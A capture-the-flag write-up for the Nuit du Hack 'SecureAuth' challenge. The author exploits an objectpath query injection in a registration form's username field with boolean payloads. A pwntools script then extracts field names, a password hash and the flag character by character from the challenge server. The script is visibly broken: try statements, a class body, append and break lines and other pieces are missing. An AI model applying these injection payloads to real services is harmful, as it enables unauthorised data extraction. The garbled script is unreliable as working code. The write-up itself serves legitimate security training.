• Category: Exploit
  • Points: 350
  • Solves: 29
  • Description:

SecureAuth is BACK ! A hackerproof version, protected from ALL attacks, with a powerful password encryption and brand new features !

Url tcp://entrop3r.quals.nuitduhack.com:31337/


OK so a exploit challenge, with no binary… hmm let’s see.

███████╗███████╗ ██████╗██╗   ██╗██████╗ ███████╗ █████╗ ██╗   ██╗████████╗██╗  ██╗
██╔════╝██╔════╝██╔════╝██║   ██║██╔══██╗██╔════╝██╔══██╗██║   ██║╚══██╔══╝██║  ██║
███████╗█████╗  ██║     ██║   ██║██████╔╝█████╗  ███████║██║   ██║   ██║   ███████║
╚════██║██╔══╝  ██║     ██║   ██║██╔══██╗██╔══╝  ██╔══██║██║   ██║   ██║   ██╔══██║
███████║███████╗╚██████╗╚██████╔╝██║  ██║███████╗██║  ██║╚██████╔╝   ██║   ██║  ██║
╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚═╝  ╚═╝
                                                                        Version 2.0

Available commands

# auth
# register
# debug
# exit

~ » 

Ah we’re greeted with some nice utf-8 art and a couple of commands.

~ » debug
~ » register
Registration Form

Username # user
Username user : OK !
Password # password
Checking password strength...[DEBUG] {'crack_time_display': 'instant', 'crack_time': 0.0, 'score': 0, 'entropy': 0.0, 'password': 'password', 'calc_time': 0.0009300708770751953, 'match_sequence': [{'l33t_entropy': 0, 'dictionary_name': u'passwords', 'matched_word': 'password', 'base_entropy': 0.0, 'i': 0, 'pattern': 'dictionary', 'j': 7, 'rank': 1, 'token': 'password', 'entropy': 0.0, 'uppercase_entropy': 0}]}
Password strength OK : (Entropy : 0.0 - Score : 0)
Could not register. Weak password.

Aha, the debug message looks suspiciously like a python dictionary. So we probably have a python service here. The description says “SecureAuth is back”, so we searched for SecureAuth and ndhquals and we found a couple of writeups of a past ndh challenge, which was a redis injection vulnerability. Maybe this is something similar? From the SecureAuth writeups we got the idea to use the admin username:

~ » register
Registration Form

Username # admin
ERROR : User admin already exists !
~ » register
Registration Form

Username # admin'
objectpath exception : SyntaxError: Unknown operator '(operator)', '''

What the hell is objectpath? A quick search revealed a library that can be used to query nested JSON/dictionary data structures: http://objectpath.org/reference.html

So we have some kind of injection vulnerability. We played around a little with the injection:

Username # admin'], [
ERROR : User admin'], [ already exists !

So the query code probably looks something like this:

query = "$.users[@.username is '" + username + "']"

Ah so we can probably do some kind of boolean based injection:

Username # admin' and '1' is '2
Username admin' and '1' is '2 : OK !
Username # admin' and '1' is '1
ERROR : User admin' and '1' is '1 already exists !

Very good. Now we can use this to exfiltrate data. I threw together a little script to perform boolean queries using the injection vulnerability. Note that if we get back that the user doesn’t exist, we need to input a password and wait for the password check to complete. This takes ages, so in this case we open a new connection, which is much faster

def new_con():
    with context.local(log_level='warning'):
        rem = remote("entrop3r.quals.nuitduhack.com", 31337)
    return rem

class InjectionFailedException(Exception):

def inject(q, sendpw=True):
    global rem
    if not rem:
        rem = new_con()
        rem.recvuntil("Username #")
        line = rem.recvline().strip()
        log.debug("received line\n{!r}".format(line))

        if exc_msg in line:
            raise InjectionFailedException(line)

        wat = rem.recv()
        if "Password" in wat:
            if sendpw:
                with context.local(log_level='warning'):
                    rem = new_con()
                return line

        log.debug("wat is\n" + hexdump(wat))
        if "~" not in wat:
            wat += rem.recvuntil("~")
        log.debug("received the rest:\n" + wat)

        return line
    except EOFError:
        log.warning("got EOF - restarting connection")
        with context.local(log_level='warning'):
        rem = None
        return inject(q, sendpw)

def bool_query(q):
    aq = "admin' and {} and '1' is '1".format(q)
        line = inject(aq, False)
    except InjectionFailedException as e:
        log.warning("query failed: {}".format(e))
        return None
    if "already exists" in line:
        return True
        return False

So let’s try to find out some info about the data:

In [4]: bool_query("$.users")
Out[4]: True

In [5]: bool_query("len($.users) is 1")
Out[5]: True

In [8]: bool_query("len($.users[0]) is 4")
Out[8]: True

In [9]: bool_query("$.users[0].password")
Out[9]: True

In [10]: bool_query("$.users[0].wtf")
Out[10]: False

In [11]: bool_query("$.users[0].entropy")
Out[11]: True

In [12]: bool_query("$.users[0].score")
Out[12]: False

In [13]: bool_query("$.users[0].username")
Out[13]: False

In [14]: bool_query("$.users[0].user")
Out[14]: False

So now we now that the data structure looks something like this:

    "users" : [
            "password": "???",
            "entropy": ???,
            "???": ???,
            "???": "admin"

So we started by creating a function that exfiltrates the password. We first performed queries like 'a' in $.users[0].password to find all the chars in the password. Then we used queries like $.user[0].password[0] is 'a' to get the value of the password:

char_tries = string.printable[:-6].replace("'", "").replace("\\", "")

def find_str(base_query):
    exfiltrate a string using boolean queries
    # first find the chars that are contained in the string to speed up
    # bruteforcing
    char_tries_real = []
    pr = log.progress("char_tries[i]")
    for i, c in enumerate(char_tries):
        pr.status("{!r} ({!r})".format(c, "".join(char_tries_real)))
        r = bool_query("'{}' in {}".format(c, base_query))
        if r is None:
            log.error("dayum char tries")
        if r:

    log.info("bf alphabet: {!r}".format("".join(char_tries_real)))

    pw_len = 100

    # for every index, try all possible chars at that index
    # abort when no candidate is found (probably end of the string)
    password = []
    pr0 = log.progress("{}[:i] is: ".format(base_query))
    for i in range(pw_len):
        pr = log.progress("password[{}] ==".format(i))
        for j, c in enumerate(char_tries_real):
            pr.status("{!r} ({}/{})".format(c, j, len(char_tries_real)))
            r = bool_query("{}[{}] is '{}'".format(base_query, i, c))
            if r is None:
            if r:
            log.warning("couldn't find candidate for {}".format(i))
    log.info("string is: {!r} ({})".format("".join(password), len(password)))

    return "".join(password)


So what we got was


Well damn. What are we supposed to do with this? Maybe the other fields are the thing. I just guessed a fieldname:

In [16]: bool_query("$.users[0].flag")
Out[16]: True



While trying to find the second flag we then also found a way to get the field names with queries like array($.users[0])[i], i.e.

find_str("array($.users[0])[0]") == "login"
find_str("array($.users[0])[1]") == "password"
find_str("array($.users[0])[2]") == "entropy"
find_str("array($.users[0])[3]") == "flag"

The full data structure is:

  "users" : [
      "login": "admin",
      "password": "$CONFIGSALT$9c2137e18b28698e00f97428aca597a75c4526e90755fadb2704dc3c5ce6627b",
      "entropy": 51.558,
      "flag": "NDH{+!$!I_CREATED_A_NEW_INJECTION_ATTACK!$!+}"

Unfortunately we didn’t manage to get the second flag for this challenge :(